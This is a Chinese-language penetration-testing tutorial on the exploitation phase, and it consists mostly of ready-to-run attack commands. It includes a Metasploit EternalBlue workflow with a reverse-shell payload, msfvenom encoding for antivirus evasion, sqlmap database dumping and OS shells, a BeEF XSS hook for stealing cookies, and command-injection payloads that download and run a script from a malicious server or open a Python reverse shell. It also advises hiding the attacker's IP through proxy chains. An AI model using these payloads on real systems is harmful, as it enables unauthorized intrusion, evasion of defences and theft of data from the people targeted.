漏洞利用阶段的攻击路径选择与实施
利用前的准备
漏洞评估阶段给了你一堆 CVE 和 PoC,不是每个都能用。实际动手前检查:
- 目标版本是否真的存在漏洞:用 searchsploit 查的 PoC 要核对受影响版本范围
- 网络可达性:Nmap 确认目标端口从你的位置是 open 不是 filtered
- 你的攻击机 IP 是否会被记录:考虑用 VPS + SOCKS 代理链(Proxychains)
- 目标是否有杀软/EDR:企业环境大概率有,准备免杀 payload
Metasploit 一条龙利用
Metasploit 是漏洞利用的主力,典型工作流:
msf6 > search ms17-010
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit > set RHOSTS 192.168.1.100
msf6 exploit > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit > set LHOST <你的IP>
msf6 exploit > show options # 确认所有必填参数
msf6 exploit > run
如果失败:
- 换 payload:
set PAYLOAD windows/x64/shell/reverse_tcp - 加
set PAYLOAD windows/x64/meterpreter/reverse_http(HTTP 绕过更多) - 换 exploit:比如
ms17_010_psexec(psexec 版,需要 SMB 凭据)
免杀 Payload:msfvenom + 编码
默认的 Meterpreter payload 在 2024 年几乎会被所有杀软标记。用 msfvenom 做基础编码:
# 简单编码(多态编码器)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=4444 \
-e x64/xor -i 5 -f exe -o meterpreter.exe
但更有效的免杀工具不在 Kali 里(在 Veil-Evasion 等工具里),这些工具会修改 payload 的 PE 结构、导入表等让杀软的特征库匹配失败。
SQL 注入:sqlmap
# 自动检测 + 利用 POST 参数的 SQL 注入
sqlmap -u "https://example.com/product?id=1" --dbms=mysql --dump
# 特定参数
sqlmap -u "https://example.com/search" --data="q=test" -p q --dbs
# 注入成功后执行系统命令(堆查询)
sqlmap -u "https://example.com/product?id=1" --os-shell
sqlmap 功能强大,但特征也明显——生产环境的 WAF 通常能检测到 sqlmap 的指纹。需要配合 --tamper 参数使用各种 tamper 脚本绕过 WAF。
XSS → BeEF 接管浏览器
跨站脚本漏洞的利用价值在于"控制浏览器"——BeEF(Browser Exploitation Framework)就是为此设计的:
- 在 Kali 中启动 BeEF:
beef-xss - BeEF 会生成一个 Hook URL:
http://你的IP:3000/hook.js - 把 Hook URL 注入 XSS 漏洞(
<script src="http://你的IP:3000/hook.js"></script>) - 目标用户的浏览器被 hook 后,BeEF 控制台显示所有被控制的浏览器
- 可以远程执行命令、窃取 Cookie、发起钓鱼攻击等
命令注入:直接拿 shell
很多 Web 应用会把用户输入拼接成系统命令。用分号、管道符、反引号等注入额外命令:
; cat /etc/passwd
; whoami
; wget http://恶意服务器/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh
直接反弹 shell 比间接路径更可靠:
; python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("你的IP",4444));subprocess.call(["/bin/sh","-i"])'
本地监听:nc -lvp 4444
利用成功后
拿到 shell 后第一件事不是装后门,而是:
whoami/id/uname -a—— 确认权限和系统hostname—— 确认主机名ip a/ifconfig—— 确认网络接口(有没有内网 IP 可以横向移动)- 把当前 shell 升级成交互式 shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'